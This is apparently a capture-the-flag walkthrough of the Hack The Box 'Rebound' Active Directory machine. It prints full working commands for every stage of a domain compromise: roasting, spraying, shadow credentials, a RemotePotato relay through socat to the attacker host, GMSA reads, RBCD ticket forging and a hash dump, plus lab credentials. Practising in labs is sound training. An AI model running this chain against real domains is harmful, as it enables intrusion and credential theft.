Post

HTB Rebound CTF Writeup

Insane-rated Windows Active Directory box on Hack The Box. SMB RID-bruting leads to AS-REP roasting and Kerberoasting. BloodHound maps a path via shadow credentials and password spraying to ServiceMGMT. A RemotePotato cross-session relay captures a hash for GMSA read and RBCD-based domain compromise.

HTB Rebound CTF Writeup

Challenge Summary

In the HTB Rebound CTF, we compromised a Windows AD domain by chaining together multiple misconfigurations and classic attacks. Starting with anonymous/guest SMB access, we enumerated user and machine accounts via RID‑brute forcing. We roasted “jjones” user account via AS‑REP and then kerberoasted “ldap_monitor” to recover valid credentials. With “ldap_monitor”, we mapped AD in Bloodhound and discovered an attack path through the ServiceMGMT group. Password spraying against oorend let us add ourselves to ServiceMGMT, granting control of the winrm_svc machine account via shadow credentials. After WinRM access, a cross‑session RemotePotato attack yielded tbrady’s hash, which we cracked and used to read the delegator$ GMSA password. Finally, RBCD against the DC machine account allowed us to impersonate and dump the domain’s Administrator hash—achieving Domain Admin.

SMB Server Enumeration

Three things to try when SMB is present, and no credentials:

  1. Authenticate with no username, no password (access denied):
1
2
3
4
5
$ nxc smb 10.10.11.231 -u '' -p '' --shares

SMB         10.10.11.231    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.231    445    DC01             [+] rebound.htb\: 
SMB         10.10.11.231    445    DC01             [-] Error enumerating shares: STATUS_ACCESS_DENIED
  1. Authenticate with “guest” account and no password (that works):
1
2
3
4
5
6
7
8
9
$ nxc smb 10.10.11.231 -u 'guest' -p '' --shares

SMB         10.10.11.231    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.231    445    DC01             [+] rebound.htb\guest: 
SMB         10.10.11.231    445    DC01             [*] Enumerated shares
SMB         10.10.11.231    445    DC01             Share           Permissions     Remark
SMB         10.10.11.231    445    DC01             -----           -----------     ------
SMB         10.10.11.231    445    DC01             ADMIN$                          Remote Admin
<SNIP>
  1. Authenticate with a random username, no password (that also works):
1
2
3
4
5
6
7
8
9
$ nxc smb 10.10.11.231 -u 'SimplyDoesNotExist' -p '' --shares

SMB         10.10.11.231    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.231    445    DC01             [+] rebound.htb\SimplyDoesNotExist: (Guest)
SMB         10.10.11.231    445    DC01             [*] Enumerated shares
SMB         10.10.11.231    445    DC01             Share           Permissions     Remark
SMB         10.10.11.231    445    DC01             -----           -----------     ------
SMB         10.10.11.231    445    DC01             ADMIN$                          Remote Admin
<SNIP>

Username Enumeration

Authenticated to the SMB server, two ways to enumerate users:

  1. The --users flag (returned nothing):
1
2
3
$ nxc smb 10.10.11.231 -u 'SimplyDoesNotExist' -p '' --users
SMB         10.10.11.231    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.231    445    DC01             [+] rebound.htb\SimplyDoesNotExist: (Guest)
  1. The --rid-brute flag (works in most cases from my experience):
1
2
3
4
5
6
7
8
9
$ nxc smb 10.10.11.231 -u 'SimplyDoesNotExist' -p '' --rid-brute 10000
SMB         10.10.11.231    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.231    445    DC01             [+] rebound.htb\SimplyDoesNotExist: (Guest)
SMB         10.10.11.231    445    DC01             498: rebound\Enterprise Read-only Domain Controllers (SidTypeGroup)                                                                                         

<SNIP>

SMB         10.10.11.231    445    DC01             7686: rebound\tbrady (SidTypeUser)
SMB         10.10.11.231    445    DC01             7687: rebound\delegator$ (SidTypeUser)

With the list of users returned by netexec, I used my trusted, superior text editor (sublime text) to create a users.txt file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Administrator
Guest
krbtgt
DC01$
ppaul
llune
fflock
jjones
mmalone
nnoon
ldap_monitor
oorend
winrm_svc
batch_runner
tbrady
delegator$

LDAP Server Enumeration

AsRepRoasting

With the users obtained from the enumeration on the SMB server, I could get a hash for jjones on ldap via ASRepRoasting:

image.webp

The command looks like this:

1
nxc ldap 10.10.11.231 -u users.txt -p '' --asreproast asrepraost.log

I tried cracking the hash, but it seems like it’s impossible to crack it.

Kerberoasting

However, it’s possible to perform a kerberoasting attack (even tho we’re unauthenticated at the moment) by leveraging the fact that “jjones” is AsRepRoastable.

Simply amazing.

We can perform the same attack using both netexec and impacket.

  1. Using netexec:
1
nxc ldap 10.10.11.231 -u jjones -p '' --no-preauth-targets users.txt --kerberoasting output.txt

This will use jjones (AsRepRoastable) to perform the kerberoast attack against the users in the users file.

  1. Using Impacket:
1
GetUserSPNs.py -no-preauth jjones -usersfile users.txt rebound.htb/

This will do the same thing.

From NetExec, we can see they skip the machine accounts (usually not crackable anyways). They get only the tgs for “ldap_monitor” user:

image.webp

Impacket, however, does not care. They return all users they can get including krbtgt, dc01$ and delegator$:

image.webp

Hash Cracking

I tried running hashcat against the hash generated by netexec (saved to output.txt) but apparently it is broken. Hashcat couldn’t understand it. The hash from impacket, however, is fine. Odd.

image.webp

The hashcat command looks like this:

1
hashcat -m 13100 impacket-kerberoast.log /usr/share/wordlists/rockyou.txt

And now, we have new credentials:

1
2
Username: ldap_monitor
Password: 1GR8t@$$4u

Bloodhound Enumeration

I then proceeded to enumerate the AD environment with bloodhound:

image.webp

I added the -k flag (authenticate using kerberos) because normal NTLM authentication seemed to be failing:

1
nxc ldap 10.10.11.231 -u ldap_monitor -p '1GR8t@$$4u' --bloodhound -c All --dns-server 10.10.11.231 -k

When searching for the quickest path to domain admin, an interesting potential attack path shows up (user tbrady can read the GMSA password for delegator$, that has delegation over dc01 machine account):

image.webp

But how can we get to tbrady in the first place?

As I couldn’t see a clear path to get to tbrady, and taking into consideration that tbrady’s last logon was today (maybe, in this engagement, there is some automated script executing a task as tbrady):

image.webp

I started to look for ways to connect to the machine, remotely. I looked up the Remote Management Users group (members of this group are allowed to use winrm to connect to the machine), and the only user there is “winrm_svc”:

image.webp

It’s only natural to add “winrm_svc” to High-value targets so I can have a better view on how to get to this user via bloodhound.

I added the winrm_svc user to High-Value targets by right-clicking on its blob and selecting the appropriate option.

Then, by using the “shortest path to tier zero / high value targets” cypher query in bloodhound, among the mess in the result, I found this path:

image.webp

It appears that the “ServiceMGMT” group has GenericAll over the Service Users OU, which contains winrm_svc. That means, if we are able to get to a user in ServiceMGMT, we can ultimately control winrm_svc by abusing the GenericAll privilege over the Service Users OU (the privilege will inherit to the users in the OU, in this case, winrm_svc)

Great. Now, how to get to the ServiceMGMT group?

There are two members (user accounts) in the group:

  • ppaul

  • fflock

And there is one peculiar user that has AddSelf to the group (means that they are not part of the group per-se, but can add themselves to it):

  • oorend

As oorend is the only one that is highlighted from the crowd (everyone else is member of the group, wheras oorend has the AddSelf privilege), I went straight into looking for ways to compromise their account.

However, there is none, apparently. And I could say the same for the other two users.

Password Spraying

Then I took a step back and said, well… I have a valid user password, and a wordlist of all the users in the domain, so I might as well perform a password spraying using that password to see if there’s password reuse in the domain!

Sure enough, got a hit for “oorend”:

image.webp

The command:

1
nxc ldap 10.10.11.231 -u users.txt -p '1GR8t@$$4u' -k --continue-on-success

New Credential:

1
2
Username: oorend
Password: 1GR8t@$$4u

So now I can use the login for oorend to add myself to the ServiceMGMT group, to take control over the Service Users OU and either change the password for winrm_svc or perform a shadow credential attack and grab the NTLM password hash for the user.

Initial Access

I first added myself to the ServiceMGMT group using bloodyad:

1
2
3
$ bloodyAD.py --host dc01.rebound.htb --dc-ip 10.10.11.231 -d rebound.htb -u 'oorend' -p '1GR8t@$$4u' --kerberos add groupMember "ServiceMGMT" "oorend"

[+] oorend added to ServiceMGMT

Then, I used dacledit from Impacket to give myself GenericAll over the Service Users OU, with object inheritance so I would also get GenericAll over the objects in the OU (including winrm_svc):

image.webp

The command looks like this:

1
dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'oorend' -target-dn 'OU=SERVICE USERS,DC=REBOUND,DC=HTB' 'rebound.htb'/'oorend':'1GR8t@$$4u' -k -use-ldaps

With these prerequisites, we should now be able to both:

  • Change password for winrm_svc and log in as the user (would not recommend if in a real engagement because that could potentially break things in the environment, e.g. a script is set up to log in to that account using a specific password and now the password has been changed to something else)

  • Perform a Shadow Credentials attack against the user, and obtain their NTLM password hash.

To perform a shadow credentials attack, I used certipy-ad:

image.webp

The command:

1
certipy shadow -u [email protected] -p '1GR8t@$$4u' -k -dc-ip 10.10.11.231 -dc-host dc01.rebound.htb -account winrm_svc auto

And if you wanted to change the password for the user, you could use bloodyAD to do the job:

1
2
3
$ bloodyAD.py --host dc01.rebound.htb --dc-ip 10.10.11.231 -d rebound.htb -u 'oorend' -p '1GR8t@$$4u' --kerberos set password "winrm_svc" "BehindSecurity@2025"

[+] Password changed successfully!

Anyways, with that said, we now have the credentials for winrm_svc and we should be able to log in to the machine now.

New Credential:

1
2
Username: winrm_svc
NTLM: 4469650fd892e98933b4536d2e86e512

And then just use evil-winrm to connect to the machine:

image.webp

The command:

1
evil-winrm -i 10.10.11.231 -u winrm_svc -H 4469650fd892e98933b4536d2e86e512

Lateral Movement

Escalating from “winrm_svc” to “tbrady”

With winrm access to the machine, I started to enumerate it:

image.webp

By running the ps command, something odd… There’s someone else logged in to the machine (you can see by the highlighted different session ID number). To enumerate this, we can use qwinsta.

When you connect over WinRM (for example with Evil‑WinRM), you’re given a Network logon token (LogonType 3). Network logons:

  • Don’t create an Interactive or RemoteInteractive (RDP) session on the host.

  • By default, are subject to UAC remote restrictions (LocalAccountTokenFilterPolicy=0), which strip out most administrative privileges from your token.

Because qwinsta and query user rely on the Terminal Services APIs (WTSEnumerateSessions/WTSQuerySessionInformation) to list sessions, they only work when your process is in a true TS session with the right privileges. A Network logon token has no such session context, so you get:

1
qwinsta.exe : No session exists for *

The Microsoft docs even warn that if Remote Desktop Services isn’t running or your process isn’t in a TS session, calls to WTSQuerySessionInformation will fail. That’s exactly what a Network logon looks like under the hood.

By contrast, when you run:

1
.\RunasCs.exe x x "qwinsta" -l 9

You’re asking Windows to perform a NewCredentials logon (LogonType 9). NewCredentials:

  • Clones your local interactive session token for local access

  • Uses the supplied credentials only for outbound network connections

Because your process now has a genuine TS session context with full privileges, qwinsta can enumerate session 0 (services) and session 1 (console) as expected, as you can see from the screenshot below:

image.webp

This confirms that there is another user logged in to the machine, and also informs us the username (tbrady):

1
2
3
SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE

console           tbrady                    1  Active

With that, we can perform a cross-session attack to grab the hash for “tbrady”.

I grabbed RemotePotato, and uploaded it to the remote machine.

Then, in my local attacking machine I started socat, redirecting the traffic to the victim’s machine on port 9999 (this will be used by RemotePotato):

1
sudo socat tcp-listen:135,fork,reuseaddr tcp:10.10.11.231:9999

On the victim machine, I executed RemotePotato like so:

image.webp

The command looks like this:

1
.\RemotePotato0.exe -m 2 -r attacker-ip -x attacker-ip -p 9999

Immediately, I got the hash for “tbrady”:

1
tbrady::rebound:7795352f5a0ad56e:e1be2bd66a56de3d53283fce438e0dbc:010100000000000009a3fa1a6eeddb01ce61cf78eba89f370000000002000e007200650062006f0075006e006400010008004400430030003100040016007200650062006f0075006e0064002e006800740062000300200064006300300031002e007200650062006f0075006e0064002e00680074006200050016007200650062006f0075006e0064002e006800740062000700080009a3fa1a6eeddb01060004000600000008003000300000000000000001000000002000007d03943c6b6900e0ff24835f14a55d750570fe664b149ee54a5e9a37b81fc3a20a00100000000000000000000000000000000000090000000000000000000000

I was able to crack the hash using hashcat:

1
hashcat tbrady.hash /usr/share/wordlists/rockyou.txt

With that, new credentials:

1
2
Username: tbrady
Password: 543BOMBOMBUNmanda

Reading GMSA passwords

As you can recall, tbrady can read the GMSA password for DELEGATOR$:

image.webp

So, I used NetExec to do the job:

1
2
3
4
5
6
$ nxc ldap 10.10.11.231 -u tbrady -p '543BOMBOMBUNmanda' --gmsa

LDAP        10.10.11.231    389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:rebound.htb) (signing:Enforced) (channel binding:Always)
LDAP        10.10.11.231    389    DC01             [+] rebound.htb\tbrady:543BOMBOMBUNmanda 
LDAP        10.10.11.231    389    DC01             [*] Getting GMSA Passwords
LDAP        10.10.11.231    389    DC01             Account: delegator$           NTLM: c5c2c04a2590c117fa9e1a07a110dad3     PrincipalsAllowedToReadPassword: tbrady

New credentials:

1
2
Username: delegator$
NTLM: c5c2c04a2590c117fa9e1a07a110dad3

Vertical Privilege Escalation

The delegator$ user has the AllowedToDelegate privilege over the DC machine account:

image.webp

However, a normal constrained delegation will fail. To proceed with the attack, it’s a matter of a Resource-Based Constrained Delegation.

First I use rbcd.py from Impacket to allow ldap_monitor to delegate from delegator$

image.webp

The command:

1
rbcd.py -delegate-from 'ldap_monitor' -delegate-to 'delegator$' -dc-ip 'dc01.rebound.htb' -action 'write' -k -hashes :c5c2c04a2590c117fa9e1a07a110dad3 'rebound.htb'/'delegator$' -use-ldaps

Then I get a service ticket for the browser SPN (delegator$’s SPN), as ldap_monitor but impersonating dc01:

image.webp

The command:

1
getST.py -spn 'browser/dc01.rebound.htb' -impersonate 'dc01' 'rebound.htb/ldap_monitor:1GR8t@$$4u'

Finally, I get another service ticket, this time impersonating dc01 on the http SPN (from dc01) as delegator$ but using the additional service ticket that we just got:

image.webp

The command:

1
getST.py -spn 'http/dc01.rebound.htb' -impersonate 'dc01' 'rebound.htb/delegator$' -hashes :c5c2c04a2590c117fa9e1a07a110dad3 -additional-ticket dc01\@browser_dc01.rebound.htb\@REBOUND.HTB.ccache

If I describe the ticket, I can see that it is forwardable now, and that means I can use it on the dc:

image.webp

I use the ticket to dump hashes from the domain with impacket’s secretsdump:

image.webp

With that I have the NTLM hash for Administrator:

1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:176be138594933bb67db3b2572fc91b8:::

And can log in to the machine via winrm using the hash:

1
evil-winrm -i 10.10.11.231 -u administrator -H 176be138594933bb67db3b2572fc91b8

Conclusion

This engagement highlights how layered, “low‑noise” attacks can escalate from guest enumeration to full Domain Admin without initial high‑privilege credentials. Key takeaways:

  1. Anonymous/Guest Access: Even minimal SMB or LDAP access can reveal critical enumeration vectors—disable or tightly restrict it.
  2. Kerberos Attacks: AS‑REP and Kerberoasting remain reliable against accounts lacking pre‑authentication or using weak service‑account passwords—enforce strong password policies and monitor abnormal ticket requests.
  3. Bloodhound Visibility: Proactive mapping of privileges (e.g. GenericAll, AddSelf) can reveal attack paths; regularly audit and remove unnecessary group privileges.
  4. Password Spraying: Reused passwords across service accounts can pivot an attacker—implement unique, complex credentials and lockout policies.
  5. Shadow Credentials & RBCD: Resource‑based constrained delegation and certificate‑based credential injection can bypass conventional defenses—monitor delegation settings and audit service‑account configurations.

By systematically chaining reconnaissance, credential harvesting, and abuse of AD features, we demonstrated a stealthy path to compromise. Defenders should layer hardening, monitoring, and least‑privilege controls to disrupt such multi‑stage attacks.

This post is licensed under CC BY 4.0 by the author.